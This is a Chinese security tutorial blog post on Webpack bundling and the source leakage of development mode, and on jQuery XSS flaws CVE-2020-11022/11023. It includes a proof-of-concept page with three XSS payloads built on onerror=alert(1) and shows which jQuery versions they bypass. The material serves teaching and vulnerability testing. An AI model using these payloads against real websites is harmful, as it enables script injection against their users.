当前位置: 首页 > news >正文

第31天:安全开发-JS应用WebPack打包器第三方库JQuery安装使用安全检测

时间轴:

演示案例:

打包器-WebPack-使用&安全

第三方库-JQuery-使用&安全

打包器-WebPack-使用&安全

参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA

Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。 它将根据模块的依赖关系进行分析,生成对应的资源。

五个核心概念:

1. 【入口(entry)】:指示 webpack 应该使用哪个模块,来作为构建内部依赖图开始。

2. 【输出(output)】:在哪里输出文件,以及如何命名这些文件。

3. 【Loader】:处理那些非 JavaScript 文件(webpack 自身只能解析 JavaScript 和 json)。webpack 本身只能处理 JS、JSON 模块,如果要加载其他类 型的文件(模块),就需要使用对应的 loader。

4. 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。

5. 【模式(mode)】:有生产模式 production 和开发模式 development。

development开发模式源码会泄露,production不会泄露源码。

使用:

1、创建需打包文件

2、安装 webpack 库

3、创建 webpack 配置文件

4、运行 webpack 打包命令

Webpack使用:

webpack就是减少了文件的调用,使用一个文件就可以包含其他文件的内容。

下面这两个放入js文件中:

sum.js:
export default function sum(x,y){return x+y;
}
count.js:
export default function count(x,y){return x-y;
}

 main.js和js放在同一目录。

main.js:
import count from "./js/count"; //调用js中的count函数
import sum from "./js/sum";     //调用js中的sum函数console.log(count(2,1));
console.log(sum(2,1));
 index.html:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><!-- <script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script> -->  //使用此函数将不用在一步步调用以上函数及文件<script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>
</html>
全局安装webpack:(在终端输入)

npm i webpack-cli -g   

创建webpack.config.js(配置文件)(最好不要改名)
const path = require('path'); // 引入path模块
// entry:输入是src下的mian文件
// output: 输出在dist文件夹下额bundle.js
module.exports = {entry: './src/main.js',output: {path: path.resolve(__dirname, 'dist'),   //将文件打包在dist目录下filename: 'bundle.js',clean: true,},mode:"development",    //源码会泄露//mode:"production",};
运行使用:(在终端输入)

npx webpack

运行结果:

使用打包器和不适用打包器的区别:

使用打包器:

<body><script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>

不使用打包器:

<body><script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script>
</body>
 development模式和production模式的区别:

 development模式:

开发者模式几乎可以看到全部文件及内容(development)

production模式:(切换模式时需要重新打包)

只有(()=>{"use strict";console.log(1),console.log(3)})();直接显示结果

安全:

1、WebPack 源码泄漏-模式选择

development和production模式选择。

developmen会泄露源码,production不会泄露源码。

2、模糊提取安全检查-PacketFuzzer

https://github.com/rtcatc/Packer-Fuzzer

原生态 JS:前端语言直接浏览器显示源代码

NodeJS:服务段语言浏览器不显示源代码

WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue)

原本node.js是不会泄露源码的,但使用了development模式后可能会泄露源码。

真实案例:

顺丰快递(已被修复)

可以看到由vue进行的搭建

PacketFuzzer:

用来提取Web关键信息的。

第三方库-JQuery-使用&安全

jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。 设计目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用功能代码,提 供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

1、使用:

引用路径:https://www.jq22.com/jquery-info122

2、安全:

检测:http://research.insecurelabs.org/jquery/test/

测试:

CVE-2020-11022/CVE-2020-11023

参考:

https://blog.csdn.net/weixin_44309905/article/details/120902867


jquery漏洞总结:
https://cloud.tencent.com/developer/article/1516331

如何搜索到第三方库:

搜索方式:

结果:

案例演示:Jquery不同版本漏洞

网页代码:
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><script src="https://code.jquery.com/jquery-3.5.1.min.js"></script><!-- <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){sanitizedHTML = document.getElementById('poc'+n).innerHTML;if(jq){$('#div').html(sanitizedHTML);}else{div.innerHTML=sanitizedHTML;}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p><h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)> 
</xmp><h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp><h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp><div id="div"></div>
</body>
</html>
代码逻辑:

为什么写在前面的alert(1)弹窗,因为他放在<xmp>代码中。

jquery版本3.4.1版本:(会显示弹窗)

此次点击Append via.html()会显示弹窗

jquery版本3.5.1版本:(点击后没有弹窗)

此次是点击append via.html()没有弹窗。

总结:

Jquery内置的过滤:

本身dom:
<style><style /><img src=yy οnerrοr=alert(1)> 

3.5.1:
<style><style /><img src=yy οnerrοr=alert(1)> </style>

3.4.1:
<style><style ></style><img src="yy" οnerrοr="alert(1)"> 

利用漏洞:
版本符合,<style><style ></style><img src="yy" οnerrοr="alert(1)"> 值可控 就可以造成xss

能够造成漏洞的原因:

内置过滤:

jQuery框架漏洞全总结及开发建议_jquery漏洞-CSDN博客

此文章由李豆豆喵和番薯小羊卷~共同完成。

相关文章:

第31天:安全开发-JS应用WebPack打包器第三方库JQuery安装使用安全检测

时间轴&#xff1a; 演示案例&#xff1a; 打包器-WebPack-使用&安全 第三方库-JQuery-使用&安全 打包器-WebPack-使用&安全 参考&#xff1a;https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源…...

word如何快速创建目录?

文章目录 1&#xff0c;先自己写出目录的各级标题。2、选中目标标题&#xff0c;然后给它们编号3、给标题按照个人需求开始分级4、插入域构建目录。4.1、利用快捷键插入域构建目录4.2、手动插入域构建目录 听懂掌声&#xff01;学会了吗&#xff1f; 前提声明&#xff1a;我在此…...

关于linux 下的中断

1. /proc/irq/<irq_number>/ 下属性详解 在 Linux 系统中&#xff0c;每个中断号&#xff08;IRQ&#xff09;都有一个对应的目录 /proc/irq/<irq_number>/&#xff0c;包含与该中断相关的属性文件。这些文件用于查看和配置中断的具体行为。 以下是 /proc/irq/&l…...

两个畸变矩阵相乘后还是一个2*2的矩阵,有四个畸变元素。1、畸变矩阵吸收了法拉第矩阵。2、畸变矩阵也给法拉第旋转角带来模糊(求解有多种可能)

角度一&#xff1b;恢复畸变的时候也把法拉第旋转恢复了 角度二&#xff1a;求解法拉第旋转角的时候 前面乘的复系数的不同也会带来法拉第旋转角和畸变的不同解 注意&#xff1a;无论多少个畸变矩阵相乘&#xff0c;结果都是2*2的矩阵&#xff0c;也就是畸变参数可以减少…...

MCU利用单总线协议(1-wire)读取DHT11温湿度

第1章 硬件连接 硬件原理图 第2章 通讯过程 用户MCU发送一次开始信号&#xff0c;DHT11从低功耗模式转换到高速模式&#xff0c;DHT11等待主机开始信号结束。DHT11等待主机开始信号结束后&#xff0c;DHT11发送响应信号。DHT11发送响应信号后&#xff0c;紧接着送出40bit的数据…...

[保姆式教程]使用目标检测模型YOLO11 OBB进行旋转目标检测:训练自己的数据集(基于卫星和无人机的农业大棚数据集)

之前写了一个基于YOLOv8z做旋转目标检测的文章&#xff0c;内容写得不够好&#xff0c;内容也比较杂乱。现如今YOLO已经更新到11了&#xff0c;数据集也集齐了无人机和卫星的农业大棚&#xff0c;所以这次就写一个基于YOLO11 OBB的农业大棚旋转检测。 1. 下载源码配置环境 在h…...

【网络安全】网站常见安全漏洞 - 网站基本组成及漏洞定义

文章目录 引言1. 一个网站的基本构成2. 一些我们经常听到的安全事件3. 网站攻击者及其意图3.1 网站攻击者的类型3.2 攻击者的意图 4. 漏洞的分类4.1 按来源分类4.2 按危害分类4.3 常见漏洞与OWASP Top 10 引言 在当今的数字化时代&#xff0c;安全问题已成为技术领域不可忽视的…...

Redis——个人笔记留存

今日内容 1. redis1. 概念2. 下载安装3. 命令操作1. 数据结构4. 持久化操作5. 使用Java客户端操作redis Redis 1. 概念&#xff1a; redis是一款高性能的NOSQL系列的非关系型数据库 1.1.什么是NOSQLNoSQL(NoSQL Not Only SQL)&#xff0c;意即“不仅仅是SQL”&#xff0c;是…...

人工智能_大模型091_大模型工作流001_使用工作流的原因_处理复杂问题_多轮自我反思优化ReAct_COT思维链---人工智能工作笔记0236

# 清理环境信息&#xff0c;与上课内容无关 import os os.environ["LANGCHAIN_PROJECT"] "" os.environ["LANGCHAIN_API_KEY"] "" os.environ["LANGCHAIN_ENDPOINT"] "" os.environ["LANGCHAIN_TRACING_V…...

linux上jdk1.8安装elasticsearch6.8.5踩坑总结

先在windows上下载了elasticsearch8安装成功后&#xff0c;本来是想在linux上也安装一个一样的版本&#xff0c;然后发现各种启动不了&#xff0c;查了一天原来jdk版本不同&#xff0c;需要下载不同版本的elasticsearch&#xff0c;我测试了8&#xff0c;7&#xff0c;6&#x…...

Three.js教程_02场景、相机与渲染器全面解析

Three.js 场景、相机与渲染器全面解析 Three.js 是一个强大的 JavaScript 库&#xff0c;用于在网页上创建和渲染 3D 图形。本文将深入解析 Three.js 中的几个核心概念&#xff0c;并介绍它们的用法及拓展方法。内容包括场景、相机、渲染器、网格对象、光源、坐标轴、控制器和…...

【数据结构】动态规划-基础篇

针对动态规划问题&#xff0c;我总结了以下5步&#xff1a; 确定dp数组以及下标的含义&#xff1b; 递推公式&#xff1b; dp数组如何初始化&#xff1b; 遍历顺序&#xff1b; 打印dp数组&#xff08;用来debug&#xff09;&#xff1b; 以上5步适用于任何动态规划问题&#x…...

opencv读取展示图片

import time import cv2 # 创建窗口 cv2.namedWindow(window, cv2.WINDOW_AUTOSIZE) # cv2.WINDOW_AUTOSIZE自动大小&#xff0c;不允许修改窗口大小 cat cv2.imread("./6.jpg", 0) # opencv默认读取bgr,0代表的是灰度图模式,1是彩色图 # 展示名字为window…...

网站访问统计A/B测试与数据分析

在网站运营中&#xff0c;访问统计和数据分析是优化用户体验和提高转化率的关键工具。A/B测试作为一种数据驱动的方法&#xff0c;能够帮助网站运营者验证设计和内容的有效性。A/B测试的基本原理是同时展示两个不同的版本&#xff08;A和B&#xff09;&#xff0c;通过比较它们…...

前端开发 之 15个页面加载特效下【附完整源码】

文章目录 十二&#xff1a;铜钱3D圆环加载特效1.效果展示2.HTML完整代码 十三&#xff1a;扇形百分比加载特效1.效果展示2.HTML完整代码 十四&#xff1a;四色圆环显现加载特效1.效果展示2.HTML完整代码 十五&#xff1a;跷跷板加载特效1.效果展示2.HTML完整代码 十二&#xff…...

详解八大排序(六)------(三路划分,自省排序,归并排序外排序)

文章目录 1. 快排之三路划分1. 1 三路划分的诞生由来1. 2 三路划分的具体思路1. 3 代码实现 2. 快排之自省排序2. 1 自省排序的目的2. 2 自省排序的思路2. 3 自省排序的实现代码 3. 归并排序外排序3. 1 外排序介绍3. 2 归并排序外排序的思路3. 3 归并排序的实现代码 1. 快排之三…...

【Java从入门到放弃 之 从字节码的角度异常处理】

从字节码的角度异常处理 生成字节码Javap 命令的使用基本语法 字节码文件testTryCatchtestTryCatchFinallytestTryWithResource 如果大家对与java的异常使用还有问题或者还不太了解&#xff0c;建议先看一下我之前写的Java异常了解一下基本 的异常处理知识&#xff0c;再看这篇…...

Java虚拟机(JVM)中的元空间(Metaspace)一些关键点的总结

• 元空间的引入&#xff1a;在Java 8中&#xff0c;JVM的内存结构经历了变化&#xff0c;其中方法区被替代为元空间&#xff08;Metaspace&#xff09;。元空间用于存储类的元数据信息&#xff0c;包括类的名称、方法、字段等信息。 • 存储位置&#xff1a;与方法区不同&…...

小程序 模版与配置

WXML模版语法 一、数据绑定 1、数据绑定的基本原则 &#xff08;1&#xff09;在data中定义数据 &#xff08;2&#xff09;在WXML中使用数据 2、在data中定义页面的数据 3、Mustache语法的格式&#xff08;双大括号&#xff09; 4、Mustache语法的应用场景 &#xff08;…...

当大的div中有六个小的div,上面三个下面三个,当外层div高变大的时候我希望里面的小的div的高也变大

问&#xff1a; 当大的div中有六个小的div&#xff0c;上面三个下面三个&#xff0c;当外层div高变大的时候我希望里面的小的div的高也变大 回答&#xff1a; 这时候我们就不能写死六个小的div的高度&#xff0c;否则上下的小的div的间距就会变大&#xff0c;因为他们的高度…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

应用升级/灾备测试时使用guarantee 闪回点迅速回退

1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间&#xff0c; 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点&#xff0c;不需要开启数据库闪回。…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

连锁超市冷库节能解决方案:如何实现超市降本增效

在连锁超市冷库运营中&#xff0c;高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术&#xff0c;实现年省电费15%-60%&#xff0c;且不改动原有装备、安装快捷、…...

【项目实战】通过多模态+LangGraph实现PPT生成助手

PPT自动生成系统 基于LangGraph的PPT自动生成系统&#xff0c;可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析&#xff1a;自动解析Markdown文档结构PPT模板分析&#xff1a;分析PPT模板的布局和风格智能布局决策&#xff1a;匹配内容与合适的PPT布局自动…...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

Linux nano命令的基本使用

参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时&#xff0c;显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...

群晖NAS如何在虚拟机创建飞牛NAS

套件中心下载安装Virtual Machine Manager 创建虚拟机 配置虚拟机 飞牛官网下载 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-0.9.2-863.iso 群晖NAS如何在虚拟机创建飞牛NAS - 个人信息分享...